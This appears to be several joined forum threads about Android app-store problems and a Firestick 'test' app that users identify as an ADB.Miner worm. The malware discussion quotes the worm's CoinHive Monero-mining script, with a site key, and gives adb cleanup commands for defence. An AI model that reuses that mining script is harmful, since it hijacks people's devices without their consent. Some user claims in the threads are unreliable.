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[Q] Problem with downloading from Android market

Hello everybody!
I have a problem with downloading games/apps from Android market. Everything was working normaly, till two days ago, when i tried to download something from Android market. My Wildfire has started the download, but then the download stopped by it self (it was no longer visible in notifications bar) and now it is the same every time i want to download something. So now i cant download anything from market. I haven't changed any settings which could result in this problem. What should i do to fix this problem? Has anyone else had this problem?
Thanks for your answers!!!

Problems here too.

I got a Desire and got the same issue. What's happening?

same probelm here... getting very annoying now

Also here since yesterday
Sent from my HTC Wildfire using XDA App

Yes, here too.
Im on HD2 with a Mdeejay rEVOlution android rom.
Dont now what it is !
And yes sins yesterday !

Everybody have this problem !
There's a fault in the Market,
Now at the moment there's 1 option ;
Login @ "Google Talk"-application on your phone,
and then just close the app, it would work.

App brain too!!
same problem. It's also happening with App brain. Can take as much as 5-6 attempts before it works (if it works)

Found a solution to this problem. Go to Settings -> Applications -> Manage applications -> select Market and Clear cache. Then reboot your phone. It worked for me, hope it will for you too.

i think google is working on market to get PayPal enabled i saw an screenshot of an Dev acc where he had to enter paypal infos to his acc

check if u got your network mode set on : GSM/WCDMA.....i cant download with only GSM enabled

PayPal causing the hangup?
So rumour has it PayPal is coming to the Android Market tomorrow. I say rumour because I'm not sure about the release date, although I do know PayPal is coming. You think this could be the reason the Market is so crappy lately?
But until the launch, what I've been doing is downloading one app at a time and waiting for it to finish installing before starting the next download. You gotta make sure there aren't any apps downloading at the same time so cancel them all. If it fails, cancel and start again until it works. I've been having to do this all weekend but let's hope the PayPal integration is the cause and that it's all over by tomorrow so I can start buying more apps

My market works fine, does this mean pay pal isn't coming to all countries lol

I hope it is. We'll see soon enough though. My market also seems to be behaving now, but still no sign of any alternative payment methods yet. I'll keep checking though. CM6 and PayPal purchases within a week? It must be christmas!

New Android Market Website

So it's finally out. What do you guys think? Is this the end of Appbrain? I loved appbrain cause I can browse the apps on the website and then just click install from there and it will automatically install on the phone. Now this can do it too!
The biggest upside to this? You can install (after you pay) "in-app" purchase app from the website. e.g. you can install the NBA League Pass from the website directly. Any other features I missed?
This is from Google themselves, not me.
https://market.android.com/

Cool. I like it.

I never really got into appbrain, because it still involved that extra step of opening the application itself.. and blah.. I think, I can't even remember. It just seemed tedious at the time to go onto the computer when it was quicker on my phone.
Then when Google does it, I'm all over it. I have been installing random applications just to install them. Why is this so awesome?!

I played with it for a while now and everything seems to be working well. I guess I can save some space by uninstalling appbrain and use this instead.

sweet jesus!

I'm like'n it...good stuff!

The automatic OTA install is working to my N1 and my Galaxy Tab now, it wasn't earlier this morning.
Works well!

With this new website comes another big change that will happen in the 3rd quarter of this year: NO MORE "LITE" version apps.
http://www.androidpolice.com/2011/0...-the-market-prior-to-the-end-of-this-quarter/

safeplayer22 said:
With this new website comes another big change that will happen in the 3rd quarter of this year: NO MORE "LITE" version apps.
http://www.androidpolice.com/2011/0...-the-market-prior-to-the-end-of-this-quarter/
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That's actually a good thing. You download the "free" application, and then if you decide to unlock it you buy the key from within the app rather than a separate unlocker application, or having the market cluttered with 2 separate versions.
Sounds like a plan!
The in-app purchasing as a general concept I'm not a massive fan off as it has the potential to lead to nickle & diming, primarily for games, but if used responsibly it should be good.

Wow, about time. Glad to see it's finally here.

now all they need to do is let you backup your app data. I dont want to lose my angry birds scores everytime i switch roms and forget to back it up with titamium backup

Well, I don't suppose there's a way for Market Enabler to work on the website?
It lists paid apps from all over the world, but it knows your phone's carrier and will prevent installs if your country does not support it..
I guess it's back to Market Enabler on the phone.

Anyone else having trouble actually buying apps from the website? Installing free apps works like a charm, but trying to purchase and install paid apps doesn't work. I press continue and _nothing_ happens.

running CM7 nightlies and the OTA installs are not working...

According to the website, you need to be logged into GTalk, only my GTalk won't log in. GTalk also appears to be missing from the market, so the problem may be on their end...
Sent from my Nexus One using XDA App

Doesn't work for me, it's been years and Android Market still doesn't support Google Apps accounts for Checkout. Although I can login, no devices are listed under "my devices" on market.android.com

I'm running CM7 Nightlies as well, I'm a few behind though, and I'm always logged into GTalk and the OTA's are not working for me either.

It's not working here on MM v.20. I've tried installing several apps but nothing happens on the phone end, the GTalk solution they give also doesn't help. Weird thing is they all show up on my app list as completed when none of them have actually installed.

Hollow.Droid said:
It's not working here on MM v.20. I've tried installing several apps but nothing happens on the phone end, the GTalk solution they give also doesn't help. Weird thing is they all show up on my app list as completed when none of them have actually installed.
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I'm having the same issue. I'm running CM6.1 kangorama's version and the install says it has worked on the website, but nothing changes on the phone itself.
I'm wondering if it has to do with it being a rooted device without a stock rom?

bjonesy77 said:
I'm having the same issue. I'm running CM6.1 kangorama's version and the install says it has worked on the website, but nothing changes on the phone itself.
I'm wondering if it has to do with it being a rooted device without a stock rom?
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I'm betting that someone is going to have to create a Web App Store Enabler or something along those lines for this to work on rooted phones or phones without stock ROM's.

Huawei Honor Note 8 / Play Store stuck on Download Pending

Hello everyone,
So, I just bought a new Honor Mate 8 from AliExpress and it came perfectly fine.
I didn't want to root it so I was like, let's just go with the flow.
It's been only 3 or 4 days since I got it and the Play Store was working fine.
Today, I received some notifications updates and while clicking on them, I couldn't even update or download anymore apps. (Bear in mind that during the last 3 days, Play Store was working amazingly normal)
The thing is, I tried pretty much everything but still in vain.
I have no idea what to do and I seriously don't want to root the phone...now.
I mean it's still new, so you know..
I even tried to go on HiApp and re download everything but still nothing.
Any ideas on how I could possibly solve this problem ?
Thanking you in advance.
Cheers.

Johar Khaled said:
Hello everyone,
So, I just bought a new Honor Mate 8 from AliExpress and it came perfectly fine.
I didn't want to root it so I was like, let's just go with the flow.
It's been only 3 or 4 days since I got it and the Play Store was working fine.
Today, I received some notifications updates and while clicking on them, I couldn't even update or download anymore apps. (Bear in mind that during the last 3 days, Play Store was working amazingly normal)
The thing is, I tried pretty much everything but still in vain.
I have no idea what to do and I seriously don't want to root the phone...now.
I mean it's still new, so you know..
I even tried to go on HiApp and re download everything but still nothing.
Any ideas on how I could possibly solve this problem ?
Thanking you in advance.
Cheers.
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I hawe same problem ....detecting same issue last maby 14 days?

Go into the Settings-Apps-Playstore and looking for Permissions.
(Look the Pic in Attachment)

Thanks for you help but iam doo thys before and nothing maby problem is on diferent place
waiting android 8

superman25 said:
Thanks for you help but iam doo thys before and nothing maby problem is on diferent place
waiting android 8
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Not sure if we will see Android 8 on our note 8, but I hope we do get it

Google Play Store FIX
Johar Khaled said:
Hello everyone,
So, I just bought a new Honor Mate 8 from AliExpress and it came perfectly fine.
I didn't want to root it so I was like, let's just go with the flow.
It's been only 3 or 4 days since I got it and the Play Store was working fine.
Today, I received some notifications updates and while clicking on them, I couldn't even update or download anymore apps. (Bear in mind that during the last 3 days, Play Store was working amazingly normal)
The thing is, I tried pretty much everything but still in vain.
I have no idea what to do and I seriously don't want to root the phone...now.
I mean it's still new, so you know..
I even tried to go on HiApp and re download everything but still nothing.
Any ideas on how I could possibly solve this problem ?
Thanking you in advance.
Cheers.
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You just have to make sure google apps like Google Play Store, Google Play Games, Google Play services, all have every permission and make sure you check "TRUST THIS APP" for all 3 apps for Google Play Store to work 100%

Try Re-booting the phone, Or go to playstore -> Side menu -> My Apps and games -> Updates and check if any app is downloading.
If yes, then stop downloading the app and re-boot. Then try installing apps

Oh I had this issue once on Oppo F1S. It happened because I had used VPN app on that phone. The only thing that solved the problem was factory resetting the whole phone since resetting phone's settings didn't work.

Brandee app doesn't work

I have a logo creating app that doesn't work on Mate 9 Pro. It's called Brandee.
https://play.google.com/store/apps/details?id=com.xlabz.Brandee
The app seems to work fine when creating a new logo. But only the text I add in the app is visible and gets exported. No graphics. I've contacted the developer and got this email in return after many mails back and forth:
"
I'm coming back to you with a bad news. After a lot of internal testing we found out that your specific device Huwaii with Android 7.0 alone has this issue and our engineers are not able to find the reason why. Most if not all of the other Android devices seems to not have this problem - we had this tested on at least 6 different devices.
I'm sorry but I don't think this is fixable. If you have bought a IAP in the app let me know and we can refund it."
They have some sort of security thing in the app that prevents the user from taking screenshots in the app. Shouldn't this be an easy fix for them? This is the only app I've had problems with, and I've tried hundreds of apps on this phone. Any thoughts?

I downloaded and did a quick test of the app on the 8 beta and it worked fine, not paid version.
You could try the beta or wait for the official 8 update that will come in the future.
Beta is here: https://forum.xda-developers.com/ma...ficial-oreo-update-emui-8-0-download-t3698219

[Malware/Virus] Solution Inside - Firestick Gen 2 - "test" app keeps popping up

[Malware/Virus] Solution Inside - Firestick Gen 2 - "test" app keeps popping up
hi guys ! i have a question i hope someone can help me with. I have a Gen 2 Firestick and for 2 days now this app called "test" keeps popping up at all times, i have no clue why its doing this. I have uninstalled the app and it comes back and ive even tryed to run the app and its tells me the App needs updated to run on my device, look for an updated version on my store.. and yeah the app dont exist on the store.. What is up with this thing? I even reformated the firestick and within a few hours it was back and doing it again !!!! this thing is driving me nuts !!! youll be watching a video or movie and this thing pops up and forces your video to pause and even crash. Can anyone help me?? i only have Terrarium,Turbo vpn,es file explorer, mouse toggle, and SPMC installed. the rest is all from Amazons factory reset. I just want to block it from running or destroy it completely. you dont even have to be doing anything and it pops up even on the Homescreen. ANyhelp would be great thank you all !! btw.. ran a virus scan it said it deleted it and it came back, tryed a firewall blocked it ,,still keeps popping up !! AURG!! help !!
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Verified Solution​
First reported by @azureru as malware in this post.
azureru said:
I have the same app on my Android Stick and it kept coming back.
Reverse engineering it - that Test app is a variation of ADB.Miner worm that will use your device to open webview. It open single html that will mine monero using CoinHive
Code:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('eXnvyAQwXxGV80C4fGuiRiDZiDpDaSrf',{
threads:3,
throttle: 0.6
});
miner.start();
</script>
If you have uninstall the app on your Android and it kept coming back - make sure to disable adb on your Android and check for other Android devices on your network for this worm.
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@innovaciones provides a number of solutions - including a verified working modded .apk of the malware which renders it harmless.
innovaciones said:
I can confirm that this "Test" app is actually a virus, I reverse engineering it too and when the Test apk auto starts it opens an script from a "run.html" file that have the same code that azureru posted, so this is definitely an ADB.Miner, how we got the virus? well I guess from sideloading sketchy apps, the main problem with this virus is that the Fire TV gets very slow because most of the performance is used for mining.
How we can get rid of this virus?
Well first, is there other Fire TVs or Android devices in your place? if the answer is yes then these devices could be infected too, this virus spreads using the ADB protocol so all the devices that have "ADB debugging" option enabled that are connected in your wifi network will get the virus, so is very important that you turn off "ADB debugging" in all your Android devices.
RESET TO FACTORY SETTINGS
There a several ways to get rid of this virus, the most effective way will be reseting to factory settings all your devices, and be careful next time what apk you install, and don't forget to turn off ADB debugging when not in use.
DELETE VIRUS FILES
Using ADB input these commands:
shell rm data/local/tmp/ufo.apk
shell rm data/local/tmp/lock.txt
shell rm data/local/tmp/smi
shell rm data/local/tmp/endat
shell rm data/local/tmp/nohup
uninstall com.google.time.timer
reboot
This are some of the virus files I found but I really don't know if deleting these files will be enough to disable the virus.
INSTALL MODDED VIRUS
If you don't want to reset to factory settings and all you want is to "turn off" the miner then you can install the attached APK that is a modded version from the original virus except the run.html is a blank page (without the minning script) and the Activities name from the AndroidManifest.xml were changed so it can't start now, so pretty much the virus will think it's working but it's not.
HIDE THE VIRUS
As recommended here you could try the hide command:
pm hide com.google.time.timer
Here is more information about these kind of virus, the test virus a variation from this:
http://blog.netlab.360.com/adb-miner-more-information-en/
I hope this information could help someone.
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the test app just has a White screen, and in the top left corner has a Green Android bot and the word test.. can get a pic if needed.

o i should say, ive googled and searched and searched for info on this and apparently im the only person in the world this is happening to

ok i looked at the test app in the firewall and it has more info, it says its from, com.google.time.timer , so what does that mean? is it a file from google that messed up ??

hmmm. Ok i installed nox 6 emulater and installed all the same apps and so far this com.google.time.timer does not exist ! thought maybe i could track down some info on this if i installed it on my pc, someone got any ideas here???

ok someone has to know something here, just got off the phone with amazon tech, they told me "test" keeps popping up because i have a trial amazon account and i have to pay for amazon service !! say what?? I dont even use the firestick for amazon service !! guess its time to root and take out the amazon services then?

well so far i made a new account with my other email and deregistered my firestick off my account and put it on the new account. Let yall know what happens.

so far the test app hasent popped up at all. So according to amazon, you have to pay to just use this firestick.. i guess running there adds on the homepage to make them money isnt enough, you have to pay to keep using it. but ok, just keep making new accounts and linking the firestick to the new accounts will solve this problem i guess. So if anyone ever has this problem besides me, thats the answer ! thanks everyone.

the great potato said:
so far the test app hasent popped up at all. So according to amazon, you have to pay to just use this firestick.. i guess running there adds on the homepage to make them money isnt enough, you have to pay to keep using it. but ok, just keep making new accounts and linking the firestick to the new accounts will solve this problem i guess. So if anyone ever has this problem besides me, thats the answer ! thanks everyone.
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No you don't have to pay to use the firestick - you probably signed up for free 30 day prime subscription - once that runs out it will automatically charge you for the subscription unless you cancel (if there is an available payment option on your account)
I assume all you had to do if it was prime membership was to cancel your subscription
Of course you don't have to opt in for this at all during registration
You can simply remove apps via adb
The firestick doesn't come with any Google apps (for obvious reasons) so anything else that is popping up is from something you have installed

well, after 2 days the test is popping up again ! =*( but anyway, I know i dont have any trials of anything especially prime, i had problems with Prime before and i make sure and double check i have nothing to do with prime. Amazon tech are the ones that told me if i pay 19.99 a month or 60 for 5 months it will stop ! So i have no idea what there talking about. I can only think to uninstall apps 1 by 1 and see if it stops or not. Im really getting to a loss on this and considering selling my set up on ebay and just buying one of the 100 dollar android boxes. =( thank you much for your reply !! All i can guess it is something installed, but wth is amazon talking about ? lol

talked to amazon, though my account said , you have no prime sub, sign up now! they said i had a prime sub trial ... canceled it and still get the pop up !

the great potato said:
talked to amazon, though my account said , you have no prime sub, sign up now! they said i had a prime sub trial ... canceled it and still get the pop up !
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i signed up for an account on this message board just for this thread.
Same thing is happening to me!!
Its driving me bonkers. I did a factory reset and everything. Its an app called "test" that will re-install itself even after deletion. I've tried installing an antivirus/malware app on the firestick, but none of the apps work properly on it. How is there not a proper antivirus app for firestick yet? Seems odd.
Let's see if we can crack this thing together. I'll send you a PM as well.

Omg in not alone in the world !!!! Thank you!!!!!!!!!!

indeed ive tied many antivirus apps and one picked it up and said its a MED virus , deleted it and it reinstalled

I am also having this problem. Please let me know how you fix t. I have a prime account and Amazon is no help

I'm having the same issue. Asked on reddit and waiting on some answers.

Same here
Just started a few weeks ago. When did it start for you guys?

Same problem here, started few weeks ago, factory reset won't work, disabling ADB and untrusted sources neither, it keeps reinstalling. Maybe if it is a virus it can be hidden in the sd card?

Me too....
Both of my firesticks began having this issue recently. I also found the app called "test" that will not uninstall. It's driving me insane. It pauses video on Amazon prime every 10 minutes or so and completely exits streams if I'm using kodi. Has anyone found a solution yet?
I found a thread an Reddit but all the posts and responses had been deleted. :/

Same problem with my Firestick
I'm experiencing the exact same issue! Constant interruptions whatever I'm watching every 10 -20 mins. Blank white screen with little green android robot in upper left corner says "Test". This just recently (2-3 wks) started happening! I've been using firesticks since Nov/17. One of my firesticks recently crashed and Amazon is sending me a new one; can't wait to see if the new firestick has this "Test" crap on it too!? I'm not a Prime member, and have never accepted a trial membership either. I only use firestick for Kodi, Netflix, and Youtube videos. I don't use any of the Amazon $ services.
I'm so happy to find your post, thought I was the only one! Hopefully we can figure this out and get back to watching without interruptions! :fingers-crossed: